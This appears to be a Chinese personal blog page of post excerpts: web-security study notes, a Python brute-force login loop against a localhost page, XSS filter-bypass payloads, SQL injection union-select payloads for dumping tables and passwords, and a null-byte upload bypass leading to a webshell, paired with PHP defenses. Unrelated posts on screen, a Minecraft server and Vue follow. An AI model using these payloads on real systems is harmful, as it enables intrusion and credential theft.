春风博客

风继续吹

python 暴力破解

python暴力破解简单代码

import os
import requests

def main():
    os.chdir("d:/pythonpy/")
    username = open('./u.txt')

    for u in username:
        u = u.strip()
        password = open('./p.txt')
        for p in password:
            p = p.strip()
            r = requests.put("http://127.0.0.1/login.php", data = {'username': u, 'password': p})
            print("用户名:",u, "密码:" , p, "返回长度:")
            print(len(r.text))
            # print(r.text)

if __name__ == "__main__":
    main()
阅读更多

XSS 的一些攻防

xss攻防

绕过方法

  • <ScriPt>aleRt(/1/)</sCript> 大小写绕过
  • <scr<script>ipt>alert(/1/)</script> 双写绕过
  • <img src=1 onerror="alert(/1/)"> 其他标签绕过
  • <iframe src=http://xxxx width=250 height=250></iframe>

防御

  • htmlspecialchars($str, ENT_COMPAT) 转义<>'"&
  • htmlentities 类似 htmlspecialchars 但对有中文的内容转义可能出现问题
  • 输出的时候可以使用 htmlentities($name,ENT_NOQUOTES,GB2312) 转义,需要输入编码格式(如果有中文)
  • stripslashes 删除\
  • addslashes 添加\
  • str_replace('<', '《', '<script>') 替换
  • $str = strip_tags($str) 去标签

CSP 安全策略

  • 内容安全策略(Content-Security-Policy,简称CSP)
阅读更多

web 攻防一些记录

web攻防的一些东西

sql注入过程

'
and 1 = 1 / and '1' = '1'
and 1 = 2 / and '1' = '2'
检测注入点
通过运算符 检测是整型还是 字符型注入  id=1+1    如果是整型将返回id=2的数据
id=1' order by 3 -- 
id=1' group by 3 --  
id=1' select 1,2,3 -- 
检测字段数量
id=' union select 1,2,3 -- 
联合查询 查出页面爆出的点 1,2,3

id=' union select version(),user(),database() -- 
获取当前数据库版本 用户 库名
如果user为root 则提权可能性比较大

获得的可能性小
1′ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
通过mysql 默认库中的信息获得当前数据库中的表名

1′ union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ #
通过表名查列名 字段名
1′ or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
获得数据
注入 可以使用 其他进制代替 字符 如 0x12135 
where table = 'admin'
where table = 0x4354313
所以禁止单双引号不一定安全

防sql注入

is_numeric($num)判断是否为数字
addslashes()加转义和stripslashes()去转义
htmlspecialchars()转化特殊符合不包括'(添加参数转化')         和htmlspecialchars_decode()  decode
str_replace("world","Shanghai","Hello world!")   替换  各种符号
strstr("123456","1")添加黑白名单
trim()去前后空格

sql 字符型 比 数字型更安全    用''包含变量

数值类型
intvar()转换

暴力破解

暴力破解  添加验证码    sleep()
登录锁定

文件上传

文件上传  检测后辍
获取后辍:
substr(strrchr($file, '.'), 1); 
return substr($file, strrpos($file, '.')+1);

最好:
$arr = pathinfo($file, PATHINFO_EXTENSION);
$end = $arr['extension'] 需要判断是否存在

strtolower() 将字符串变为小写

stripslashes去斜线转义

将获取的内容与白名单对比
$type = array('jpg', 'png', 'gif', 'bmp');
if(!in_array($end, $type)){
die();
}

上传检测漏洞
<php5.4
Magic_quote_gpc选项为off时
hack.php%00.png

如果有文件包含 可以将一句话木马放在可上传的文件中
中国菜刀连接

文件包含

文件包含  去..或者检测..

csrf

CSRF(Cross-site request forgery)跨站请求伪造
添加第二次验证
验证 HTTP Referer 字段;在请求地址中添加 token 并验证;在 HTTP 头中自定义属性并验证

安全

安全方法 token 验证码 bind sql语句

token
生成token保存到session
将token传到前端
前端请求带上token
后台获得token后与session中的比较 不一样直接返回错 一样再执行接下来的工作

防爆破非验证码方式
sql 添加 登录次数 上次登录时间
用户每次登录 先查看 登录次数 如果次数超过最多次数 并且 上次登录时间 没有超过保护时间 则禁止登录
否则 重置登录次数
登录成功 重置登录次数
每次登录更新登录时间

防爆破例子github

阅读更多

我的世界 服务端

Screen and MC

Linux screen命令

  • screen -S [名称]新建screen
  • Ctrl+A Ctrl+D退到用户,不关闭screen
  • screen中输入exit退出screen并关闭
  • killCtrl+A Ctrl+K
  • screen -ls查看screen
  • screen -r [pid]进入相应screen

MC服务端

  • https://s3.amazonaws.com/Minecraft.Download/versions/版本号/minecraft_server.版本号.jar
  • java -Xmx1024M -Xms1024M -jar server.jar [nogui]启动服务端
阅读更多

VUE 一些东西

VUE 教程


VUE安装

  • 安装NodeJS
  • 安装CNPM淘宝镜像

    • npm install -g cnpm --registry=https://registry.npm.taobao.org
    • 淘宝镜像
  • 亦可安装yarn
  • cnpm i -g webpack全局安装webpack
  • cnpm i -g @vue/cli全局安装vue-cli3

    • 也可以安装iview-cli

      • iview-cli直接解压打开iview.exe
  • cnpm i -g @vue/cli-init全局安装vue-cli3 init
  • vue-init webpack [项目名称]使用vue-cli2构建webpack项目
  • vue create [项目名称]使用vue-cli3构建webpack项目
  • 用1 2 3 4 5选择各个选项

vue文件

  • template,script,style三个标签 应该按此循序排序
  • template为html
  • style为css 添加scoped可以让css作用域只在当前文件(不建议使用)

    • .nav >>> .name可以更改子组件的css(>>> 或 /deep/
    • lang='css或less或sass等'
  • script为js
<script>
        export default {
        name: "Home",
        data() {
            return {};
        },
        methods: {
            // 组件的方法
        },
        watch: {
            // watch擅长处理的场景:一个数据影响多个数据
        },
        computed: {
            // computed擅长处理的场景:一个数据受多个数据影响
        },
        beforeCreate: function() {
            // 在实例初始化之后,数据观测(data observer) 和 event/watcher 事件配置之前被调用。
        },
        created: function() {
            // 实例已经创建完成之后被调用。在这一步,实例已完成以下的配置:数据观测(data observer),属性和方法的运算, watch/event 事件回调。然而,挂载阶段还没开始,$el 属性目前不可见。
        },
        beforeMount: function() {
            // 在挂载开始之前被调用:相关的 render 函数首次被调用。
        },
        mounted: function() {
            // 编译好的HTML挂载到页面完成后执行的事件钩子
            // el 被新创建的 vm.$el 替换,并挂载到实例上去之后调用该钩子。
            // 此钩子函数中一般会做一些ajax请求获取数据进行数据初始化
            console.log("Home done");
        },
        beforeUpdate: function() {
            // 数据更新时调用,发生在虚拟 DOM 重新渲染和打补丁之前。 你可以在这个钩子中进一步地更改状态,这不会触发附加的重渲染过程。
        },
        updated: function() {
            // 由于数据更改导致的虚拟 DOM 重新渲染和打补丁,在这之后会调用该钩子。
            // 当这个钩子被调用时,组件 DOM 已经更新,所以你现在可以执行依赖于 DOM 的操作。然而在大多数情况下,你应该避免在此期间更改状态,因为这可能会导致更新无限循环。
            // 该钩子在服务器端渲染期间不被调用。
        },
        beforeDestroy: function() {
            // 实例销毁之前调用。在这一步,实例仍然完全可用。
        },
        destroyed: function() {
            // Vue 实例销毁后调用。调用后,Vue 实例指示的所有东西都会解绑定,所有的事件监听器会被移除,所有的子实例也会被销毁。 该钩子在服务器端渲染期间不被调用。
        }
        };
        </script>
阅读更多